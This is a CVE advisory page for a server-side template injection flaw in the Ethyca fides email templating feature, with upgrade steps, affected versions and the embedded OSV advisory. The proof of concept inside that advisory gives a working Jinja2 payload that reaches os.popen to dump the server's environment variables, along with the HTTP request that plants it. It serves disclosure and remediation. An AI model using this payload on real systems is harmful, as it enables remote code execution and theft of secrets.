CVE-2024-45053: Ethyca fides Remote Code Execution Vulnerability
HIGHCVE-2024-45053 is a HIGH (CVSS 9.1) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Ethyca fides libraries in the PyPI ecosystem. The issue involves remote code execution vulnerability via ssti in fides webserver jinja email templating engine. Remediation is available by upgrading affected packages to version 2.44.0.
CVE-2024-45053 at a Glance
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2024-45053
To remediate this vulnerability, upgrade all affected Ethyca fides dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install ethyca-fides>=2.44.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show ethyca-fides
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2024-45053, inspect your installed packages using pip:
pip show ethyca-fides
Analyze the terminal output to locate any version of Ethyca fides in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.44.0), your application is affected.
Note: The pip show ethyca-fides command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Ethyca fides, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-45053 Affected Ethyca fides Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
ethyca-fides
|
PyPI |
≥ 2.19.0
< 2.44.0
|
2.44.0
|
References
Frequently Asked Questions
What is CVE-2024-45053?
Which Ethyca fides versions are affected?
What version fixes CVE-2024-45053?
Is ethyca-fides affected?
What is the CVSS score of CVE-2024-45053?
What CWE is associated with CVE-2024-45053?
How can I check PyPI dependencies for CVE-2024-45053?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-c34r-238x-f7qx",
"modified" : "2024-11-18T16:27:09Z",
"published" : "2024-09-04T18:07:17Z",
"aliases" : [ "CVE-2024-45053" ],
"summary" : "Remote Code Execution Vulnerability via SSTI in Fides Webserver Jinja Email Templating Engine",
"details" : "### Summary\nThe Email Templating feature uses Jinja2 without proper input sanitization or rendering environment restrictions, allowing for Server-Side Template Injection that grants Remote Code Execution to privileged users. A privileged user refers to an Admin UI user with the default `Owner` or `Contributor` role, who can escalate their access and execute code on the underlying Fides Webserver container where the Jinja template rendering function is executed.\n\n### Details\nThe application enables the creation of message templates that are sent via email to Fides Privacy Center users (data subjects) who raise privacy requests such as data subject access requests or consent management requests via the Privacy Center. These emails are triggered at various points in the request processing flow, for example when a request is denied or approved. The messages are defined using Jinja2 templates, allowing the use of statement and expression directives to craft more complex messages that include dynamic variables.\n\nIt was discovered that the Jinja2 environment used to render the templates does not restrict the usage of common Python methods and objects, which permits an attacker to execute arbitrary code via Server-Side Template Injection. An attacker with the ability to modify email templates can inject malicious code, which is then executed when an email message is rendered and sent to the user.\n\nAdmin UI users assigned the following default roles are permitted to modify email templates and are therefore able to exploit this vulnerability:\n- Owner\n- Contributor\n\nOAuth clients with the `messaging-template:update` scope are also authorized to use the `PUT /api/v1/messaging/templates/` Fides Webserver API endpoint and may also exploit this vulnerability.\n\n### Impact\nThis vulnerability allows an attacker with sufficient privileges (`Owner`, `Contributor`, `messaging-template:update`) to execute arbitrary code remotely (Remote Code Execution) and escalate their privileges to those of a user on the Fides Webserver container. This escalated access grants the attacker control of the Fides Webserver application, including unauthorized access to integrated resources such as the hosted database, hosted cache, integrated data stores, and integrated SaaS applications. Potential impacts range from denial of service to the exfiltration of sensitive data unavailable to the user prior to the escalation of access.\n\n### Patches\nThe vulnerability has been patched in Fides version `2.44.0`. Users are advised to upgrade to this version or later to secure their systems against this threat.\n\n### Workarounds\nThere are no workarounds.\n\n### PoC\nThe following payload, when injected into the email template, enables the execution of a command on the underlying system, revealing the content of environment variables:\n```jinja\nYour privacy request has been denied.\n*bb*\n{% for s in ().__class__.__base__.__subclasses__() %}{% if \"warning\" in s.__name__ %}{{s()._module.__builtins__['__import__']('os').popen(\"env\").read() }}{% endif %}\n{% endfor %}\n*aa*\n```\n\nThe following HTTP request to the Fides Webserver API can be used to update a privacy request denial email template:\n```http\nPUT /api/v1/messaging/templates/autogenerated-mes_ce649254-a90b-4073-ae12-193650064220 HTTP/2\nHost: <redacted host>\nCookie: _fbp=fb.1.17232<..REDACTED>_ga=GA1.1.263756963.1723471626\nContent-Length: 361\nSec-Ch-Ua: \"Not/A)Brand\";v=\"8\", \"Chromium\";v=\"126\", \"Google Chrome\";v=\"126\"\nUnescape-Safestr: true\nSec-Ch-Ua-Mobile: ?0\nAuthorization: Bearer eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU..<REDACTED>\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36\nContent-Type: application/json\nAccess-Control-Allow-Origin: *\nX-Fides-Source: fidesops-admin-ui\nSec-Ch-Ua-Platform: \"Linux\"\nAccept: */*\nOrigin: https://<redacted host>\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://<redacted host>/messaging/autogenerated-mes_ce649254-a90b-4073-ae12-193650064220\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-US,en;q=0.9\nPriority: u=1, i\n\n{\n \"is_enabled\": true,\n \"content\":\n {\n \"subject\": \"Your privacy request has been denied XXX\",\n \"body\": \"Your privacy request has been denied. \\n*bb*\\n{% for s in ().__class__.__base__.__subclasses__() %}{% if \\\"warning\\\" in s.__name__ %}{{s()._module.__builtins__['__import__']('os').popen(\\\"env\\\").read() }}{% endif %}\\n{% endfor %}\\n*aa*\\n**\"\n },\n \"properties\":\n [\n \"FDS-JICO87\"\n ]\n}\n```\n\nAs a result, when a Privacy Center user submits a privacy request, such as to access their own data, and the request is rejected by a user of the privacy request management dashboard, the malicious template will be rendered, the code will be executed, and the content of the underlying container's environment variables will be included in the email the end-user receives.\n\n<img width=\"851\" alt=\"rce-email\" src=\"https://github.com/user-attachments/assets/97a395c6-b163-4656-b551-fe3dcd748813\">\n\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "ethyca-fides"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.19.0"
}, {
"fixed" : "2.44.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ethyca/fides/security/advisories/GHSA-c34r-238x-f7qx"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-45053"
}, {
"type" : "WEB",
"url" : "https://github.com/ethyca/fides/commit/829cbd9cb5ef9c814fbac1ed6800e8d939d359c5"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ethyca/fides"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1336", "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2024-09-04T18:07:17Z",
"nvd_published_at" : "2024-09-04T16:15:07Z"
}
}